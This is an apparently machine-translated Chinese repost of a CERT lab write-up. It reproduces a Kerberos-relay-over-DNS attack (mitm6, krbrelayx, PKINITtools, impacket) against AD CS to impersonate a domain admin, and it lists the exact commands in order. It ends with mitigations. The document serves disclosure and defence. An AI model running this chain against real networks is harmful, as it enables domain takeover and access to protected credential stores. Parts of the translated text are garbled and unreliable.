开卷有益 · 不求甚解
Dirk-jan Mollema 发表了一篇博文,展示了与连接到 AD CS 服务器所在的活动目录的计算机位于同一 (V)LAN 上的攻击者如何获取 kerberos 票证以在受害者系统上冒充域管理员:https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/ 这篇文章有一些关于这次攻击发生了什么的更多细节。
重现此漏洞需要 4 台机器:
攻击者的 Linux 机器上应该存在以下软件:
https://github.com/dirkjanm/mitm6
https://github.com/dirkjanm/krbrelayx
https://github.com/dirkjanm/PKINITtools
https://github.com/SecureAuthCorp/impacket
我使用CERT Tapioca VM 作为攻击者的机器,但这也要求我确保启用了 IPv6,并且在 WAN 端禁用了防火墙:
sudo iptables -F
sudo iptables -P INPUT ACCEPT
对于本文中的材料,使用以下主机/域:
域名:wd.local
域控制器:WIN-6ERMGJ5ECLO.wd.local
(192.168.3.1)
AD CS 服务器: adcs.wd.local
(192.168.3.103)
受害者(加入域)主机:win10.wd.local
(192.168.3.108)
域管理员帐户:A[email protected]
攻击者系统:192.168.3.100
这次攻击中的事件流可以用下面的动画来概括:
mitm6是一个实用程序,它可以利用 DHCPv6 来强制 IPv4 网络上的 Windows 主机使用任意 DNS 服务器。
受害机器询问 LAN 是否有人提供 DHCPv6 进行设置,包括使用哪个 DNS 服务器:
运行的机器mitm6
告诉受害者它应该用于 DNS 请求:
当受害系统尝试执行 DNS 更新时,例如首次开机时, mitm6
将拒绝更新:
为了处理这种拒绝,受害者将与域控制器对话以获取 kerberos 票证,以便它可以再次尝试授权。
有了受害者 机器的 kerberos 票证,受害者开始与恶意 DNS 服务器进行协商,以证明应该允许它执行 DNS 动态更新。
这时, krbrelayx
就派上用场了。当经过 kerberos 认证的 DNS 请求进来时, krbrelayx
通知并获取 kerberos 票证:
有了有效的 kerberos 票证,对 AD CS 服务器的请求可以变成授权请求:
因为 AD CS 服务器使用 HTTP 200 响应我们的请求,所以我们知道授权有效。所以是时候申请证书了!
在电线上,它看起来像这样:
一旦 AD CS 服务器响应,证书就准备好了,我们可以取它:
从 krbrelayx
:
此证书用于 win10.wd.local
机器帐户。
我们现在可以 gettgtpkinit.py
通过PKINITtools使用我们的 win10.wd.local
机器帐户证书获取 TGT:
现在有了这个保存为 的 TGT, win10.ccache
我们可以更进一步获得受害者系统上域管理员帐户的票证, [email protected]
我们将其保存为 admin.ccache
.
现在我们有了域管理员的 kerberos 票证,让我们尝试将它与impacketsmbclient.py
中的 实用程序一起使用。请注意,此策略假定我们的受害者系统 具有网络可访问的共享。win10.wd.local
我们能够查看受保护 windows\system32\config
目录的内容,这是普通用户无法做到的。
只是为了把事情放在一起,而不是截图形式,下面是我们在特定实验中(按顺序)使用的命令:
# mitm6 --domain wd.local --host-allowlist win10.wd.local --relay adcs.wd.local -v
# ./krbrelayx.py --target http://adcs.wd.local/certsrv/ -ip 192.168.3.100 --victim win10.wd.local --adcs --template Machine
(Power on Win10 VM.)
(Save certificate as cert.txt)
$ python gettgtpkinit.py -pfx-base64 $(cat cert.txt) wd.local/win10$ win10.ccache -dc-ip 192.168.3.1
$ python gets4uticket.py kerberos+ccache://wd.local\\win10\$:[email protected] cifs/[email protected] [email protected] admin.ccache
$ KRB5CCNAME=admin.ccache python ~/in/impacket/examples/smbclient.py -k wd.local/[email protected] -no-pass
当 CERT 发布 有关 AD CS 上 PetitPotam 攻击链的 VU#405600时,我们建议为 AD CS 系统启用身份验证扩展保护 (EPA)。如果您已经部署了此缓解措施,那么恭喜您。您不必担心上述攻击。
如果您有一个 未使用 IPv6 的网络,则可以使用在****所有主机上阻止 DHCPv6 和 ICMPv6 来防止 mitm6
上述攻击的组成部分。对于 Windows 防火墙,这涉及设置以下规则来 阻止:
近期阅读文章
,质量尚可的,大部分较新,但也可能有老文章。开卷有益,不求甚解
,不需面面俱到,能学到一个小技巧就赚了。译文仅供参考
,具体内容表达以及含义, 以原文为准
(译文来自自动翻译)尽量阅读原文
。(点击原文跳转)每日早读
基本自动化发布(不定期删除),这是一项测试
最新动态: Follow Me
微信/微博:
red4blue
公众号/知乎:
blueteams